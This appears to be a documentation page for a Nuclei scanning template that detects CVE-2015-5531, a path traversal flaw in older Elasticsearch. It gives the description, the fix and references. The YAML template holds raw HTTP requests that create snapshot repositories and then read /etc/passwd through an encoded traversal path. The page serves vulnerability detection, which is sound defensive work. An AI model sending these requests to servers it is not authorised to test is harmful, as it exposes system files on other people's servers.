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ElasticSearch <1.6.1 - Local File Inclusion

ID: CVE-2015-5531

Severity: medium

Author: princechaddha

Tags: cve2015,cve,vulhub,packetstorm,elasticsearch,intrusive

Description

Section titled “Description”

ElasticSearch before 1.6.1 allows remote attackers to read arbitrary files via unspecified vectors related to snapshot API calls.

YAML Source

Section titled “YAML Source”
id: CVE-2015-5531


info:
  name: ElasticSearch <1.6.1 - Local File Inclusion
  author: princechaddha
  severity: medium
  description: ElasticSearch before 1.6.1 allows remote attackers to read arbitrary files via unspecified vectors related to snapshot API calls.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to read arbitrary files on the server, potentially leading to unauthorized access or sensitive information disclosure.
  remediation: |
    Upgrade ElasticSearch to version 1.6.1 or later to mitigate the vulnerability.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2015-5531
    - https://nvd.nist.gov/vuln/detail/CVE-2015-5531
    - http://packetstormsecurity.com/files/132721/Elasticsearch-Directory-Traversal.html
    - https://www.elastic.co/community/security/
    - http://packetstormsecurity.com/files/133797/ElasticSearch-Path-Traversal-Arbitrary-File-Download.html
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2015-5531
    cwe-id: CWE-22
    epss-score: 0.97144
    epss-percentile: 0.99802
    cpe: cpe:2.3:a:elasticsearch:elasticsearch:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: elasticsearch
    product: elasticsearch
    fofa-query: index_not_found_exception
  tags: cve2015,cve,vulhub,packetstorm,elasticsearch,intrusive


http:
  - raw:
      - |
        PUT /_snapshot/test HTTP/1.1
        Host: {{Hostname}}


        {
            "type": "fs",
            "settings": {
                "location": "/usr/share/elasticsearch/repo/test"
            }
        }
      - |
        PUT /_snapshot/test2 HTTP/1.1
        Host: {{Hostname}}


        {
            "type": "fs",
            "settings": {
                "location": "/usr/share/elasticsearch/repo/test/snapshot-backdata"
            }
        }
      - |
        GET /_snapshot/test/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd  HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - ElasticsearchParseException
          - Failed to derive xcontent from
          - 114, 111, 111, 116, 58
        condition: and


      - type: status
        status:
          - 400
# digest: 490a0046304402206331c659baf255ae4503da909071013b65c39e9da8f8b12b4e6f43d2dd66be4a022010fb834d4303fc30128ec987f45a60c85a8f035a56587f84095dc48b8c69a7fb:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2015/CVE-2015-5531.yaml"

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